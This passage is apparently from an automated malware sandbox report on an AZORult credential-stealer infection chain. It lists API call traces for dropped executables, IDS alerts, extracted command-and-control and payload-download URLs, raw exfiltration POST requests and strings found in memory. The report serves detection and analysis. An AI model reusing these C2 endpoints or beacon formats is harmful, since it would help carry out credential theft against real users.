            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,4_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,4_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,4_2_00007FF78CF67B4C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,6_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,6_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,6_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,6_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,6_2_00007FF78CF67B4C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,7_2_00007FF6E3E6234C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFC6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,7_2_00007FF6E3DFC6F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E63100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,7_2_00007FF6E3E63100
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E610C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,7_2_00007FF6E3E610C4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E66F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,7_2_00007FF6E3E66F80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,7_2_00007FF6E3E0D4A4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DCD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DCD440
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,7_2_00007FF6E3E0B3D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E43674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,7_2_00007FF6E3E43674
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,7_2_00007FF6E3E0DBC0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E61B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,7_2_00007FF6E3E61B04
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E619F8 #359,FindFirstFileW,FindNextFileW,FindClose,7_2_00007FF6E3E619F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E05E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,7_2_00007FF6E3E05E58
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,10_2_02AB5908
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,11_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,11_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,11_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,11_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,11_2_00007FF78CF67B4C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,12_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,12_2_00007FF78CF52978
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,12_2_00007FF78CF41560
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,12_2_00007FF78CF435B8
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF67B4C FindFirstFileW,FindNextFileW,FindClose,12_2_00007FF78CF67B4C

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.6:49735 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.6:49735 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2029136 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M1 : 188.114.97.3:80 -> 192.168.2.6:49735
            Source: Network trafficSuricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.6:49802 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.6:49802 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2029136 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M1 : 188.114.97.3:80 -> 192.168.2.6:49802
            Source: Network trafficSuricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.6:49791 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.6:49850 -> 188.114.97.3:80
            C2 URLs / IPs found in malware configuration
            Source: Malware configuration extractorURLs: https://eaznetagencies.co.ke/yakmdrpfile/233_Xdptuvhugpw
            Source: Malware configuration extractorURLs: http://dsye.shop/DS341/index.php
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACE4B8 InternetCheckConnectionA,10_2_02ACE4B8
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
            Source: Joe Sandbox ViewASN Name: STEADFASTUS STEADFASTUS
            Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
            Source: global trafficHTTP traffic detected: GET /yakmdrpfile/233_Xdptuvhugpw HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: eaznetagencies.co.ke
            Source: global trafficHTTP traffic detected: POST /DS341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: dsye.shopContent-Length: 115Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26 66 9a 46 70 9c 47 70 9d 30 70 9d 32 70 9d 35 70 9d 36 70 9d 3b 70 9d 33 70 9d 34 70 9d 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0
            Source: global trafficHTTP traffic detected: POST /DS341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: dsye.shopContent-Length: 59369Cache-Control: no-cache
            Source: global trafficHTTP traffic detected: POST /DS341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: dsye.shopContent-Length: 115Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26 66 9a 46 70 9c 47 70 9d 30 70 9d 32 70 9d 35 70 9d 36 70 9d 3b 70 9d 33 70 9d 34 70 9d 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0
            Source: global trafficHTTP traffic detected: POST /DS341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: dsye.shopContent-Length: 59331Cache-Control: no-cache
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /yakmdrpfile/233_Xdptuvhugpw HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: eaznetagencies.co.ke
            Source: global trafficDNS traffic detected: DNS query: eaznetagencies.co.ke
            Source: global trafficDNS traffic detected: DNS query: dsye.shop
            Source: unknownHTTP traffic detected: POST /DS341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: dsye.shopContent-Length: 115Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26 66 9a 46 70 9c 47 70 9d 30 70 9d 32 70 9d 35 70 9d 36 70 9d 3b 70 9d 33 70 9d 34 70 9d 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
            Source: kn.exeString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
            Source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enDisallowedCertLastSyncTimePinR
            Source: kn.exe, 00000009.00000003.2154637519.0000026FDE206000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000000.2156684817.0000000000478000.00000002.00000001.01000000.00000007.sdmp, AnyDesk.PIF, 0000000A.00000002.2280435287.000000007F3A0000.00000004.00001000.00020000.00000000.sdmp, esentutl.exe, 00000011.00000003.2246511637.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://darkick.ru
            Source: kn.exe, 00000009.00000003.2154637519.0000026FDE206000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000000.2156684817.0000000000478000.00000002.00000001.01000000.00000007.sdmp, AnyDesk.PIF, 0000000A.00000002.2280435287.000000007F3A0000.00000004.00001000.00020000.00000000.sdmp, esentutl.exe, 00000011.00000003.2246511637.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://darkick.w6.ru
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2431110845.0000000025134000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://dsye.shop/DS341/index.php
            Source: AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0C
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.thawte.com0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.com/en-US/blocklist/
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.com0
            Source: AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021BAC000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2250440235.0000000002ADE000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2240697077.000000002187F000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020910000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2282008011.000000007FB20000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020961000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2240697077.00000000218DC000.00000004.00000020.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000001.2243838356.000000000041D000.00000040.00000001.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000000.2242435591.0000000000416000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: http://www.pmail.com
            Source: kn.exeString found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%ws
            Source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmpString found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: https://dotbit.me/a/
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: AnyDesk.PIF, 0000000A.00000002.2246095892.000000000093E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://eaznetagencies.co.ke/
            Source: AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020A2C000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020A00000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2246095892.000000000093E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://eaznetagencies.co.ke/yakmdrpfile/233_Xdptuvhugpw
            Source: AnyDesk.PIF, 0000000A.00000002.2246095892.0000000000954000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://eaznetagencies.co.ke/yakmdrpfile/233_XdptuvhugpwDLL
            Source: AnyDesk.PIF, 0000000A.00000002.2246095892.0000000000954000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://eaznetagencies.co.ke/yakmdrpfile/233_XdptuvhugpwLL
            Source: AnyDesk.PIF, 0000000A.00000002.2246095892.000000000097E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://eaznetagencies.co.ke/yakmdrpfile/233_XdptuvhugpwZ
            Source: AnyDesk.PIF, 0000000A.00000002.2246095892.000000000097E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://eaznetagencies.co.ke:443/yakmdrpfile/233_Xdptuvhugpw
            Source: kn.exeString found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc
            Source: kn.exeString found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/device/
            Source: kn.exeString found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/key/
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf4
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2431110845.000000002514B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
